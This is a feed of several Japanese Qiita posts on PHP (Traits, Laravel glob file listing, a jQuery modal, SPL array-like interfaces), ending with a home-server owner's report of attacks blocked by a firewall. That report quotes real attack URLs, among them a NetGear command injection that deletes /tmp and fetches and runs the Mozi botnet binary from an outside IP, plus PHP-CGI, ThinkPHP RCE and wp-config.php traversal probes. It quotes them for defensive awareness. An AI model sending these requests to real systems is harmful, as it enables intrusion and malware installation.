他クラスのメンバ変数やメソッドを使いたいからと言ってなんでもかんでも継承をすればいいって話じゃありません。

今回紹介するのは PHP 5.4.0 以降から追加された Trait についてです。

Traitってなに奴

まず Trait は今までのインターフェイスの概念やクラス継承の概念とはまた別なちょっと変わりものです。
こいつはクラスに任意のメンバ変数やメソッドなどを水平方向から追加してくれます。
「なにいってんだこの赤ん坊は」と思う方もいらっしゃると思います。
要するにこの Trait を利用することによって PHP はもともと単一クラス継承の言語ですが、それを見かけ上複数継承のようにふるまうことができるようになるわけです。

前提ソースコード

Human.php
class Human {

    const MALE = 0;
    const FEMALE = 1;

    protected $name;
    protected $old;
    protected $gender;

    public function getName(): string {
        return $this->name;
    }

    public function getOld(): int {
        return $this->old;
    }

    public function getGender(): int {
        return $this->gender;
    }
}

このクラスは人間の概要を取得保管するクラスです。継承して使うことにしましょう。
 

Reaction.php
trait Reaction {

    public function sayHmm() {
        echo 'Hmm'."\n";
    }

    public function sayDamnIt() {
        echo 'Damn it!'."\n";
    }

    public function sayUhHuh() {
        echo 'Uh huh'."\n";
    }
}

これはTraitに、言葉で応答をする関数を書いたものです。

使ってみよう

さて、これらを使ってボイ(Boi)という人のオブジェクトを作ってみましょう。
ここで重要なのは ❝ PHP は単一のクラスしか継承できない ❞ ということ。
よって仮に Reaction.php が継承を前提としたクラスだった場合、完全に設計上行き詰まるわけですね。
しかし、今回は Trait を利用していますのでその心配はありません。

Boi.php
class Boi extends Human {

    use Reaction;

    public function __construct(int $old, int $gender) {
        $this->name = 'Boi';
        $this->old = $old;
        $this->gender = $gender;
    }
}

$boi = new Boi(19, Human::MALE);
echo($boi->getName()."\n");
echo($boi->getOld().' years old'."\n");
$boi->sayHmm();
$boi->sayDamnIt();
$boi->sayUhHuh();
出力
Boi
19 years old
Hmm
Damn it!
Uh huh

このように利用ができます。
Trait は継承のextendsは使わずに

use Traitクラス;

のように指定します。複数指定をする場合には、カンマで区切ります。
まぁやたらめったらTraitを使えばいいってわけではないですが...。

さいごに

私の説明で納得いかないプログラマーさんが多数いることは承知の上で、稚拙ながら書かせていただきました。
例に取り上げたコードに誤りがあった場合は教えてくださると幸いです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravelでとあるディレクトリのファイル一覧を取得したい人へ

世にはいろいろなQiita記事があり,Laravelの記事も様々...かと思いきや,Laravelの記事って結構少なくないですか?

タイトルの通り,この記事はLaravelでほかのファイルの名前を取得したい人への僕のささやかな気持ちです.
一方的に投げつけておくのでどうぞ受け取ってください.

やり方

  1. 〇〇_path('パス\*')で,ファイル一覧を取得したいディレクトリのフルパスを取得.
  2. glob(取得したフルパス)で,ディレクトリ内のファイルのパスを配列として取得.

ステップ1. 〇〇_path('パス\*')で,ファイル一覧を取得したいディレクトリのフルパスを取得.

〇〇_path()というヘルパ関数を使います.
この関数は,相対パスを指定したフォルダやファイルのフルパスを取得することができる関数です.
これには以下の種類があり,それぞれの〇〇の部分が,パスを取得できる場所(rexourcesやpublicなど)に対応しています.

  • app_path()
  • base_path()
  • config_path()
  • database_path()
  • mix_path()
  • public_path()
  • resource_path()
  • storage_path()

参照:Helpers - Laravel - The PHP Framework For Web Artisans

使用例は次の通りです.

hogehogeController.php
// resourceディレクトリ内のviews/folder1のフルパスを取得
$path = resource_path('views/folder1'); //出力例(ローカルの場合)->C:\Users\(途中のディレクトリ)\resources\views\file1

// publicディレクトリ内のcss/app.cssのフルパスを取得
$path = public_path('css/app.css'); //出力例(サーバーの場合)->/home/users/(途中のディレクトリ)/public/css/app.css

注意:パスの指定にバックスラッシュ\を使うと,Windowsではうまくいきましたがサーバー(Linux)ではパスを取得できませんでした.なので,スラッシュ/で指定しましょう!

ステップ2.glob(取得したフルパス)で,ディレクトリ内のファイルのパスを配列として取得.

〇〇_path()で相対パスをフルパスにしたら,次はglob()の出番です.
glob()は,一定のパターン(詳しくは後述)にマッチするパスを探すことができる関数です.

参照:PHPのglobメソッドの使い方を現役エンジニアが解説【初心者向け】 | TechAcademyマガジン

使用例は次の通り

hogehogeController.php
// resources/views/folder1内のすべてのファイル(file1.txt, file2.blade.php)を取得
$path = resource_path('views/folder1/*.*');
$files = glob($path);

//出力例
// -> /home/users/(途中のディレクトリ)/resources/views/folder1/file1.txt
// -> /home/users/(途中のディレクトリ)/resources/views/folder1/file2.blade.php

上記の例では,すべてのファイルを取得するように,resource_path()に指定するパスの最後にパターンの指定/*.*をつけています.
これを例えば/*にすればすべてのファイルとディレクトリ,/*.blade.phpにすれば全てのブレードファイルを取得できます.

これでとあるディレクトリのファイル一覧を配列として取得できました!
あとは適宜,正規表現で使いたいところを切り出しましょう...!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【PHP】モーダル画面実装

PHPについて学習内容を備忘録としてまとめます。
モーダル画面を実装しましたので、作成方法を記載します。
anime3.gif

上記のように投稿などをモーダル画面を使用して操作することができます。

実装方法

実装方法について記載していきます。

投稿ボタン作成

ボタンクリック時にモーダル画面を出力させるため、
投稿ボタンを作成します。

header.php
    <ul>
    <li><a href="../user/user_list.php?type=all">ユーザー一覧</a></li>
    <li><a href="../post/post_index.php">投稿一覧</a></li>
    <li><a class="post_window" href="#">投稿</a></li>
    <li><a href="../message/message_top.php">メッセージ</a></li>
:
:
    </ul>

ヘッダーに投稿ボタンを追加します。
このpost_windowをクリックしたときにJavaScriptの処理が開始されるようにします。

JavaScriptでモーダル画面出力

先ほどの投稿ボタンがクリックされたときに、モーダル画面を出力するよう実装します。

user_page.js
$(document).on('click', '.post_window', function() {
    //背景をスクロールできないように & スクロール場所を維持
    scroll_position = $(window).scrollTop();
    $('body').addClass('fixed').css({ 'top': -scroll_position });
    // モーダルウィンドウを開く
    $('.post_process').fadeIn();
    $('.modal').fadeIn();
});

post_windowをクリックしたときに処理が走るようになっています。

    scroll_position = $(window).scrollTop();
    $('body').addClass('fixed').css({ 'top': -scroll_position });

モーダル画面が出力された際に背景の画面をスクロールしないようにしています。
画面のスクロール位置を取得して、そこで位置を固定しています。

    $('.post_process').fadeIn();
    $('.modal').fadeIn();

こちらでモーダル画面を出力しています。
元のモーダル画面がないので作成していきます。

モーダル画面作成

post_process.php
<div class="modal"></div>
<div class="post_process">
  <h2 class="post_title">投稿</h2>
  <form method="post" action="../post/post_add_done.php" enctype="multipart/form-data">
  <textarea class="textarea form-control" placeholder="投稿内容を入力ください" name="text"></textarea>
  <div class="post_btn">
  <button class="btn btn-outline-danger" type="submit" name="post" value="post" id="post">投稿</button>
  <button class="btn btn-outline-primary modal_close" type="button">キャンセル</button>
  </div>
  </form>
</div>

投稿ボタンをクリックするとpost_add_done.phpに処理が遷移するようになっています。
post_add_done.phpはSQL文でpostテーブルINSERTするようになっています。
※上記のコードは説明上不要な部分を省略しているので、トップの動作画面とは違いがあります。

<div class="modal"></div>

こちらの1行は後ほど説明しますが、モーダル画面が出力された際に背景を灰色にする役割を担っています。
ではこちらのモーダル画面をレイアウトしていきます。

モーダル画面のレイアウト

style.css
.post_process {
    display: none;
    position: fixed;
    z-index: 15;
    top: 30%;
    left: 50%;
    width: 600px;
    padding: 10px;
    background-color: #121212;
    border-radius: 8px;
    -webkit-transform: translate(-50%, -10%);
    transform: translate(-50%, -10%);
    color: #fff;
    font-size: 1.3rem;
    border: 0.3rem solid #fff;
}

表示する位置、背景色などを決めています。
z-index: 15;で重なりの順序を高くており、
display: none;で普段は表示させないようにさせ、JavaScriptの処理で出力させるようにしています。

先ほど触れた、モーダル画面出力時の背景についてもレイアウトしていきます。

.modal {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    background-color: rgba(152, 152, 152, 0.7);
    width: 100%;
    height: 100%;
    z-index: 10;
}

こちらも位置(画面全体)、背景色を決めています。
z-index: 10;にすることで重なり順序がモーダル画面よりも低く設定しています。

上記を一通り実装すれば、トップの動作画面のように動くと思います。

参考URL

https://github.com/nyann123/snspoi

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP オブジェクトを配列のように扱うためのインターフェース ItetatorAggregateやArrayAccessなど

はじめに

PHPには、いくつかの定義済みインターフェースがあります。その中でも特に、以下のインターフェースを実装することで、オブジェクトを配列のように振る舞わせることが可能です。

  • Traversable
  • Iterator
  • IteratorAggregate
  • ArrayAccess
  • Countable

これらのインターフェースを満足させる方法を見ていきます。

Traversable

Traversableインターフェースは、foreach文でループ可能にするためのインターフェースです。しかし、Traversableはこれは内部エンジンのインターフェイスであり、PHP スクリプト内で実装することはできません。かわりにTraversableを実装したIteratorかIteratorAggregateを使用する必要があります。

<?php

// Fatal error: Class SomeClass must implement interface Traversable as part of either Iterator or IteratorAggregate in Unknown on line 0
class SomeClass implements Traversable
{

}

概要

抽象インターフェースですので、メソッドはありません。
php
Traversable {
}

Iterable型

arrayまたはTraversableを実装したクラスは、疑似型Iterableとして扱われます。
Iterable型は例えば関数の引数の型指定として利用できます。関数の引数の型にIterable型が指定されている場合、安全にforeach文で利用することができます。

function foo(iterable $iterable) {
    foreach ($iterable as $value) {
        // ...
    } 
}

また、関数is_iterableは変数の型がIterableかチェックします。

Iterator

前述の通り、Iteratorインターフェースは抽象インターフェースTraversableを継承しており、このインターフェースを実装したクラスはforeach文でループ可能であることを表します。
Iteratorインターフェースを満足させるために、以下の5つのメソッドを実装する必要があります。

概要

Iterator extends Traversable {
/* メソッド */
abstract public current ( ) : mixed
abstract public key ( ) : scalar
abstract public next ( ) : void
abstract public rewind ( ) : void
abstract public valid ( ) : bool
}

Iteratorを継承したクラスの例

<?php

class MyIterator implements Iterator
{
  private $position = 0;
  private $values = [];

  public function __construct(...$values)
  {
    $this->values = $values;
  }

  // 参照している要素を先頭へ戻す
  public function rewind()
  {
    $this->position = 0;
  }

  // 現在参照している要素を返す
  public function current()
  {
    return $this->values[$this->position];
  }

  // 現在参照している要素のキーを返す
  public function key()
  {
    return $this->position;
  }

  // 次の要素を参照する
  public function next()
  {
    $this->position++;
  }

  // 現在参照している値が有効かどうか
  public function valid()
  {
    return isset($this->values[$this->position]);
  }
}

$iterator = new MyIterator('apple', 'banana', 'chocolate');

foreach ($iterator as $key => $value) {
  echo $key . ' ' . $value . PHP_EOL;
}

// 0 apple
// 1 banana
// 2 chocolate

IteratorAggregate

Iteratorインターフェースを実装するためには必要なメソッドが多く、少々面倒です。
IteratorAggregateは同じくTraversableインターフェースを継承していますが、こちらはItetatorに処理を委譲します。
そのため、実装するめそっでゃは別のイテレータを返すgetIterator()のみとシンプルになっています。

概要

IteratorAggregate extends Traversable {
/* メソッド */
abstract public getIterator ( ) : Traversable
}

ItetatorAggregateを実装したクラスの例

<?php

class MyIterator implements IteratorAggregate
{
  private $values = [];

  public function __construct(...$values)
  {
    $this->values = $values;
  }

  public function getIterator() 
  {
    return new ArrayIterator($this->values);
  }
}

$iterator = new MyIterator('apple', 'banana', 'chocolate');

foreach ($iterator as $key => $value) {
  echo $key . ' ' . $value . PHP_EOL;
}

// 0 apple
// 1 banana
// 2 chocolate

getIterator()の戻り値は、Traversableインターフェース型である必要があります。
この例ではシンプルなイテレータであるArrayIteratorを使用しましたが、SPLには、様々なイテレータが定義されています。

  • AppendIterator
  • ArrayIterator
  • CachingIterator
  • CallbackFilterIterator
  • DirectoryIterator
  • EmptyIterator
  • FilesystemIterator
  • FilterIterator
  • GlobIterator
  • InfiniteIterator
  • IteratorIterator
  • LimitIterator
  • MultipleIterator
  • NoRewindIterator
  • ParentIterator
  • RecursiveArrayIterator
  • RecursiveCachingIterator
  • RecursiveCallbackFilterIterator
  • RecursiveDirectoryIterator
  • RecursiveFilterIterator
  • RecursiveIteratorIterator
  • RecursiveRegexIterator
  • RecursiveTreeIterator
  • RegexIterator

https://www.php.net/manual/ja/spl.iterators.php

ArrayAccess

ArrayAccessインターフェースは、オブジェクトに対して配列形式でアクセスを可能にするインターフェースです。つまり、$obj['foo']のように要素を取得したり、$obj['foo']のように要素に値を設定できるということです。

ArrayAccessインターフェースを満足させるために、以下の4つのメソッドを実装する必要があります。

  • offsetGet
    • 角括弧[]で要素を取得する際に呼ばれる
  • offsetSet()
    • 角括弧[]で要素に値を設定する歳に呼ばれる
  • offsetExists()
    • isset()empty()に渡された時に呼ばれる
  • offsetUnset()
    • unset()に渡された時に呼ばれる

実装

ArrayAccess {
/* メソッド */
abstract public offsetExists ( mixed $offset ) : bool
abstract public offsetGet ( mixed $offset ) : mixed
abstract public offsetSet ( mixed $offset , mixed $value ) : void
abstract public offsetUnset ( mixed $offset ) : void
}

ArrayAccessを実装したクラスの例

<?php

class Cart implements ArrayAccess
{
  private $items = [];

  public function __construct(array $items)
  {
    $this->items = $items;
  }

  public function offsetGet($offset)
  {
    echo 'offsetGet called!'. PHP_EOL;
    return isset($this->items[$offset]) ? $this->items[$offset] : null;
  }

  public function offsetSet($offset, $item)
  {
    echo 'offsetSet called!'. PHP_EOL;
      if (is_null($offset)) {
        $this->items[] = $item;
    } else {
        $this->items[$offset] = $item;
    }
  }

  public function offsetExists($offset)
  {
    echo 'offsetExists called!' . PHP_EOL;
    return isset($this->items[$offset]);
  }

  public function offsetUnset($offset)
  {
    echo 'offsetUnset called!' . PHP_EOL;
    unset($this->items[$offset]);
  }
}

$items = [
  'apple' => 150,
  'banana' => 100,
  'chocolate' => 200
];

$cart = new Cart($items);

echo $cart['apple'] . PHP_EOL;
$cart['doughnut'] = 120;
echo isset($cart['strawberry']) . PHP_EOL;
unset($cart['banana']);

print_r($cart);

実行結果

offsetGet called!
150
offsetSet called!
offsetExists called!
bool(false)
offsetUnset called!
Cart Object
(
    [items:Cart:private] => Array
        (
            [apple] => 150
            [chocolate] => 200
            [doughnut] => 120
        )

)

Countable

Countableインターフェースを実装したクラスは、関数count()で使用することができます。また、is_countableに渡すとtrueを返します。

Countableインターフェースを満足させるために、count()メソッドを実装する必要があります。

Countable {
/* メソッド */
abstract public count ( ) : int
}

Countableを実装したクラスの例

<?php

class MyCountable implements Countable
{
  private $values = [];

  public function __construct(...$values)
  {
    $this->values = $values;
  }

  public function count()
  {
    return count($this->values); 
  }
}

$countable = new MyCountable('apple', 'banana', 'chocolate');

echo count($countable);
var_dump(is_countable($countable));

実行結果

3
bool(false)

実際には、ArrayAccessインターフェースやIteratorAggregateインターフェースなどとセットで実装されるとよいでしょう。

参考

PHP.net
パーフェクトPHP
PHP本格入門[下]

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Webサイトに来た攻撃をまとめてみた

はじめに

自宅にインターネットに公開しているWebサイト(自宅サーバー)があります。Webサイトでは日夜、世界中から脆弱性を悪用しようと攻撃を受けているのですが、今回は実際にWebサイトに来た攻撃の一部を紹介してみようと思います。

環境

  • Laravel(PHP)を用いた動的なWebサイトなどを自宅で公開
  • インターネットとの境界線にFW(Fortigate)を設置。UTMライセンスあり
  • インターネット->自宅サーバーNWへの通信に対してFWのアンチウイルスIPSWAFを有効
    • IPSとは: 不正な通信を検知、ブロックする機能。主にOS、機器などの脆弱性を狙った攻撃
    • アンチウイルスとは:パケットに含まれるウイルスを検知、ブロックする機能
    • WAFとは:Webアプリケーションレベルの攻撃を検知、ブロックする機能
  • 期間は11月のある一週間

結論

自宅であろうが、AWSであろうが、レンタルサーバーであろうが、Webサイトをインターネットに公開すると攻撃を必ず受けます。Webサイトを公開する場合は、OS、ミドルウェア、アプリケーションなどの脆弱性には必ず気をつけましょう。また、公開したあともIPAなどが公開しているセキュリティ情報をチェックして、必要があればセキュリティアップデートをこまめに実施しましょう。
公開したあとアップデートもせず、Webサイト、サーバーを放置していれば、必ず脆弱性を利用した攻撃を受け脆弱性が存在すれば場合によっては内部に侵入され、システムを破壊、個人情報の流出などの被害を受けてしまうことになるでしょう

参考

脆弱性とは?その危険性と実例 – 有効な5つの対策

以下、FWが検知した攻撃

WAFが検知・ブロックした攻撃

検知したURL①

http://自宅IP/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://39.80.71.48:44394/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1

どうやらNetGear製品の脆弱性を狙う攻撃みたいです。送信元IPは中国です。

MiraiとGafgytの新たなIoT/Linuxボットネット攻撃キャンペーン

検知したURL②

https://自宅IP/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

phpunitの脆弱性の有無を確認している攻撃みたいです。送信元IPはロシアです。

CVE-2017-9841を悪用したスキャン通信の増加

検知したURL③

http://自宅IP/cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n (http://203.135.194.15/cgi-bin/php5?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp://input+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n)

CGI版PHPの脆弱性を狙うアクセスみたいです。送信元IPは中国です。

CGI版PHPへのApache Magica攻撃の観察

IPSが検知・ブロックした攻撃

検知したURL①

ThinkPHPという中国が作ったアプリケーションフレームワークの脆弱性を悪用した攻撃みたいです。

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21

ThinkPHP.Controller.Parameter.Remote.Code.Execution
ThinkPHPという中国のフレームワークの脆弱性が狙われて、中国の45000のサイトが攻撃を受け続けている

検知したURL②

/wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php (/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2Fwp-config.php)

WordPressのディレクトリトラバーサルの脆弱性を悪用しようとする攻撃のようです。送信元IPはフランスです。

【WordPress】wp-config.phpが改ざん!Duplicatorが原因か

WordPress.HTTP.Path.Traversal

アンチウイルスが検知・ブロックした攻撃

検知下URL①

http://自宅IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

wordpresの脆弱性を利用して、バックドア型トロイの木馬のファイルをアップロードしようとしている攻撃のようです。 今回はトロイの木馬ファイルを検知してアンチウイルスでブロックしているようでした。

PHP / Rst.CO!tr.bdr
WordPressのプラグインFile Managerの脆弱性を悪用した攻撃が確認。70万以上のサイトに影響か。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む